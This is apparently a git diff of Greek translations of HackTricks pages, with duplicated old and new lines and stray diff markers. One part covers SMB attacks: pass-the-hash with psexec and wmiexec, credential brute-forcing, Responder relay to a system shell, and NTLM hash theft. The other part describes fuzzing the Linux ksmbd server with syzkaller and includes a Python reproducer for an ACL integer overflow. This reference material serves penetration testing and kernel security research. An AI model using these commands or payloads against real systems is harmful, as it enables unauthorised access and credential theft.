**Περισσότερες πληροφορίες** σχετικά με [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)και [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στο μηχάνημα του θύματος και θα το χρησιμοποιήσουν για να **εκτελέσουν κάτι** (**psexec** θα **upload** ένα εκτελέσιμο αρχείο στο ADMIN$ share και **smbexec** θα δείχνει σε **cmd.exe/powershell.exe** και θα βάλει στα arguments το payload --**file-less technique-**-).\
**Περισσότερες πληροφορίες** για [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)και [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -389,11 +389,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**
Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε στο **kerberos** αντί για **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Εκτελέστε κρυφά μια εντολή shell χωρίς να αγγίξετε το δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\
Εκτελέστε αθόρυβα ένα command shell χωρίς να αγγίξετε τον δίσκο ή να τρέξετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **port 135.**\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -401,7 +401,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**
Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε με **kerberos** αντί για **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -420,21 +420,27 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd επιφάνεια επίθεσης και fuzzing πρωτοκόλλων SMB2/SMB3 (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce διαπιστευτήρια χρηστών**
**Αυτό δεν συνιστάται, μπορεί να μπλοκάρετε έναν λογαριασμό αν ξεπεράσετε τις μέγιστες επιτρεπόμενες προσπάθειες**
**Αυτό δεν συνιστάται — μπορεί να κλειδώσετε έναν λογαριασμό αν ξεπεράσετε τον μέγιστο επιτρεπόμενο αριθμό προσπαθειών**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Αυτή η επίθεση χρησιμοποιεί το εργαλείο Responder για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\
[**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**Περισσότερες πληροφορίες για αυτή την επίθεση εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Η βιβλιοθήκη Windows URLMon.dll προσπαθεί αυτόματα να αυθεντικοποιηθεί στον υπολογιστή όταν μια σελίδα προσπαθεί να αποκτήσει πρόσβαση σε κάποιο περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"`
Η βιβλιοθήκη των Windows URLMon.dll προσπαθεί αυτόματα να αυθεντικοποιηθεί στον host όταν μια σελίδα προσπαθεί να προσπελάσει περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"`
Αυτό συμβαίνει με τις συναρτήσεις:
@ -443,21 +449,21 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
- URLOpenStream
- URLOpenBlockingStream
Οι οποίες χρησιμοποιούνται από ορισμένους περιηγητές και εργαλεία (όπως το Skype)
Οι οποίες χρησιμοποιούνται από κάποιους browsers και εργαλεία (όπως το Skype)
![Από: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap using MitMf
### SMBTrap χρησιμοποιώντας MitMf
![Από: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack).
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα target system (π.χ. μέσω SMB) μπορεί να προκαλέσει μια προσπάθεια SMB authentication, επιτρέποντας την υποκλοπή του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει offline ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack).
[Δείτε: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
## HackTricks Αυτόματες Εντολές
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.

View File

@ -0,0 +1,219 @@
# ksmbd Επιφάνεια Επίθεσης & SMB2/SMB3 Protocol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## Επισκόπηση
Αυτή η σελίδα συνοψίζει πρακτικές τεχνικές για την άσκηση και το fuzzing του Linux in-kernel SMB server (ksmbd) χρησιμοποιώντας syzkaller. Εστιάζει στη διεύρυνση της επιφάνειας επίθεσης του πρωτοκόλλου μέσω διαμόρφωσης, στην κατασκευή ενός stateful harness ικανό να αλυσοδέσει SMB2 operations, στη δημιουργία grammar-valid PDUs, στην κατευθυνόμενη μεταβολή προς προσωπουμένους κώδικες με χαμηλή κάλυψη και στην αξιοποίηση δυνατοτήτων του syzkaller όπως focus_areas και ANYBLOB. Ενώ η αρχική έρευνα απαριθμεί συγκεκριμένα CVEs, εδώ δίνουμε έμφαση στην επαναχρησιμοποιήσιμη μεθοδολογία και στα απτά snippets που μπορείτε να προσαρμόσετε στο δικό σας περιβάλλον.
Στόχος: SMB2/SMB3 πάνω από TCP. Kerberos και RDMA είναι σκόπιμα εκτός πεδίου για να κρατήσει το harness απλό.
---
## Διεύρυνση της επιφάνειας επίθεσης του ksmbd μέσω διαμόρφωσης
Σε ένα ελάχιστο ksmbd setup πολλά μέρη του server μένουν ανεξερεύνητα. Ενεργοποιήστε τα παρακάτω χαρακτηριστικά για να αναγκάσετε τον server να περάσει από επιπλέον parsers/handlers και να φτάσετε σε βαθύτερες διαδρομές κώδικα:
- Global-level
- Durable handles
- Server multi-channel
- SMB2 leases
- Per-share-level
- Oplocks (on by default)
- VFS objects
Η ενεργοποίηση αυτών αυξάνει την εκτέλεση σε modules όπως:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
- smbacl.c (ACL parsing/enforcement)
- vfs.c (VFS ops)
- vfs_cache.c (lookup cache)
Σημειώσεις
- Exact options depend on your distros ksmbd userspace (ksmbd-tools). Review /etc/ksmbd/ksmbd.conf and per-share sections to enable durable handles, leases, oplocks and VFS objects.
- Multi-channel and durable handles alter state machines and lifetimes, often surfacing UAF/refcount/OOB bugs under concurrency.
---
## Προσαρμογές αυθεντικοποίησης και περιορισμού ρυθμού για Fuzzing
SMB3 χρειάζεται έγκυρη συνεδρία. Η υλοποίηση Kerberos στα harnesses προσθέτει πολυπλοκότητα, οπότε προτιμήστε NTLM/guest για fuzzing:
- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST.
- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths.
- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early.
- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing.
Προσοχή: Αυτές οι χαλαρώσεις εξυπηρετούν αποκλειστικά το fuzzing. Μην τις αναπτύξετε σε παραγωγικό περιβάλλον.
---
## Stateful Harness: Εξαγωγή πόρων και αλυσίδωση αιτήσεων
Το SMB είναι stateful: πολλά αιτήματα εξαρτώνται από identifiers που επιστρέφονται από προηγούμενες απαντήσεις (SessionId, TreeID, FileID pairs). Το harness σας πρέπει να κάνει parse τις απαντήσεις και να επαναχρησιμοποιεί IDs μέσα στο ίδιο πρόγραμμα για να φτάσει σε βαθύτερους handlers (π.χ. smb2_create → smb2_ioctl → smb2_close).
Παράδειγμα snippet για επεξεργασία ενός response buffer (παραλείποντας το +4B NetBIOS PDU length) και αποθήκευση των IDs:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET));
switch (cmd_rsp) {
case SMB2_TREE_CONNECT:
if (received >= TREE_ID_OFFSET + sizeof(uint32_t))
tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET));
break;
case SMB2_SESS_SETUP:
// first session setup response carries session_id
if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t))
session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET));
break;
case SMB2_CREATE:
if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) {
persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET));
volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET));
}
break;
default:
break;
}
}
```
Συμβουλές
- Διατηρήστε μία διεργασία fuzzer που μοιράζεται authentication/state: καλύτερη σταθερότητα και κάλυψη με τους global/session πίνακες του ksmbd. syzkaller εξακολουθεί να εισάγει concurrency με το να χαρακτηρίζει ops ως async, και κάνει rerun εσωτερικά.
- Το πειραματικό reset_acc_state του Syzkaller μπορεί να επαναφέρει την global state αλλά μπορεί να προκαλέσει σημαντική επιβράδυνση. Προτιμήστε τη σταθερότητα και εστιάστε στο fuzzing.
---
## Δημιουργία SMB2 βάσει γραμματικής (Valid PDUs)
Μεταφράστε τις δομές SMB2 των Microsoft Open Specifications σε μια γραμματική για fuzzer ώστε ο generator σας να παράγει δομικά έγκυρα PDUs, που συστηματικά φτάνουν στους dispatchers και στους IOCTL handlers.
Παράδειγμα (SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
Command const[0xb, int16]
Header_Suffix SMB2Header_Suffix
StructureSize const[57, int16]
Reserved const[0, int16]
CtlCode union_control_codes
PersistentFileId const[0x4, int64]
VolatileFileId const[0x0, int64]
InputOffset offsetof[Input, int32]
InputCount bytesize[Input, int32]
MaxInputResponse const[65536, int32]
OutputOffset offsetof[Output, int32]
OutputCount len[Output, int32]
MaxOutputResponse const[65536, int32]
Flags int32[0:1]
Reserved2 const[0, int32]
Input array[int8]
Output array[int8]
} [packed]
```
Αυτό το στυλ επιβάλλει τα σωστά μεγέθη/offsets των δομών και βελτιώνει δραματικά την κάλυψη σε σύγκριση με blind mutation.
---
## Κατευθυνόμενο Fuzzing με focus_areas
Χρησιμοποιήστε το πειραματικό focus_areas του syzkaller για να δώσετε μεγαλύτερο βάρος σε συγκεκριμένες συναρτήσεις/αρχεία που προς το παρόν έχουν αδύναμη κάλυψη. Παράδειγμα JSON:
```json
{
"focus_areas": [
{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0},
{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0},
{"weight": 1.0}
]
}
```
Αυτό βοηθά στο να κατασκευαστούν έγκυρα ACLs που ενεργοποιούν τα arithmetic/overflow μονοπάτια στο smbacl.c. Για παράδειγμα, ένας κακόβουλος Security Descriptor με υπερμεγέθη dacloffset αναπαράγει ένα integer-overflow.
Δημιουργός αναπαραγωγής (ελάχιστο Python):
```python
def build_sd():
import struct
sd = bytearray(0x14)
sd[0x00] = 0x00; sd[0x01] = 0x00
struct.pack_into('<H', sd, 0x02, 0x0001)
struct.pack_into('<I', sd, 0x04, 0x78)
struct.pack_into('<I', sd, 0x08, 0x00)
struct.pack_into('<I', sd, 0x0C, 0x10000)
struct.pack_into('<I', sd, 0x10, 0xFFFFFFFF) # dacloffset
while len(sd) < 0x78:
sd += b'A'
sd += b"\x01\x01\x00\x00\x00\x00\x00\x00" # minimal DACL
sd += b"\xCC" * 64
return bytes(sd)
```
---
## Ξεπερνώντας τα πλατώ κάλυψης με ANYBLOB
Τα anyTypes του syzkaller (ANYBLOB/ANYRES) επιτρέπουν τη σύμπτυξη πολύπλοκων δομών σε blobs που μεταλλάσσονται γενικά. Τροφοδοτήστε ένα νέο corpus από δημόσια SMB pcaps και μετατρέψτε τα payloads σε syzkaller προγράμματα που καλούν το pseudo-syscall σας (π.χ., syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
```
```python
import json, os
os.makedirs("corpus", exist_ok=True)
with open("packets.json") as f:
data = json.load(f)
# adjust indexing to your tshark JSON structure
packets = [e["_source"]["layers"]["tcp.payload"] for e in data]
for i, pkt in enumerate(packets):
pdu = pkt[0]
pdu_size = len(pdu) // 2 # hex string length → bytes
with open(f"corpus/packet_{i:03d}.txt", "w") as f:
f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
Αυτό επιταχύνει την εξερεύνηση και μπορεί άμεσα να ενεργοποιήσει UAFs (π.χ. στο ksmbd_sessions_deregister) ενώ αυξάνει την κάλυψη κατά μερικά τοις εκατό.
---
## Sanitizers: Πέρα από το KASAN
- Το KASAN παραμένει ο κύριος ανιχνευτής για heap bugs (UAF/OOB).
- Το KCSAN συχνά παράγει false positives ή low-severity data races σε αυτόν τον στόχο.
- UBSAN/KUBSAN μπορεί να εντοπίσει declared-bounds mistakes που το KASAN χάνει λόγω array-index semantics. Παράδειγμα:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Η ρύθμιση num_subauth = 0 προκαλεί in-struct OOB read του sub_auth[-1], που εντοπίστηκε από τις declared-bounds checks του UBSAN.
---
## Σημειώσεις για Διεκπεραιωτικότητα και Παραλληλισμό
- Μια μοναδική διεργασία fuzzer (shared auth/state) τείνει να είναι σημαντικά πιο σταθερή για το ksmbd και εξακολουθεί να αποκαλύπτει races/UAFs χάρη στον εσωτερικό async executor του syzkaller.
- Με πολλαπλά VMs μπορείτε ακόμη να φτάσετε σε εκατοντάδες εντολές SMB/δευτερόλεπτο συνολικά. Η κάλυψη σε επίπεδο συνάρτησης περίπου ~60% του fs/smb/server και ~70% του smb2pdu.c είναι εφικτή, αν και η κάλυψη μεταβάσεων κατάστασης υποαντιπροσωπεύεται από τέτοιες μετρήσεις.
---
## Πρακτική Λίστα Ελέγχου
- Ενεργοποιήστε durable handles, leases, multi-channel, oplocks και VFS objects στο ksmbd.
- Επιτρέψτε guest και map-to-guest· αποδεχτείτε NTLMv2. Αφαιρέστε τα credit limits και αυξήστε τα max connections για σταθερότητα του fuzzer.
- Κατασκευάστε ένα stateful harness που αποθηκεύει στην cache τα SessionId/TreeID/FileIDs και αλυσσοποιεί create → ioctl → close.
- Χρησιμοποιήστε ένα grammar για SMB2 PDUs για να διατηρείτε τη δομική εγκυρότητα.
- Χρησιμοποιήστε focus_areas για να υπερβαρύνετε ασθενώς καλυμμένες συναρτήσεις (π.χ. μονοπάτια στο smbacl.c όπως smb_check_perm_dacl).
- Seed με ANYBLOB από πραγματικά pcaps για να σπάσετε plateaus· πακετάρετε τα seeds με syz-db για επαναχρησιμοποίηση.
- Τρέξτε με KASAN + UBSAN· αξιολογήστε προσεκτικά τις αναφορές UBSAN declared-bounds.
---
## Αναφορές
- Doyensec ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- Επιπλέον ανάγνωση: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
{{#include ../../banners/hacktricks-training.md}}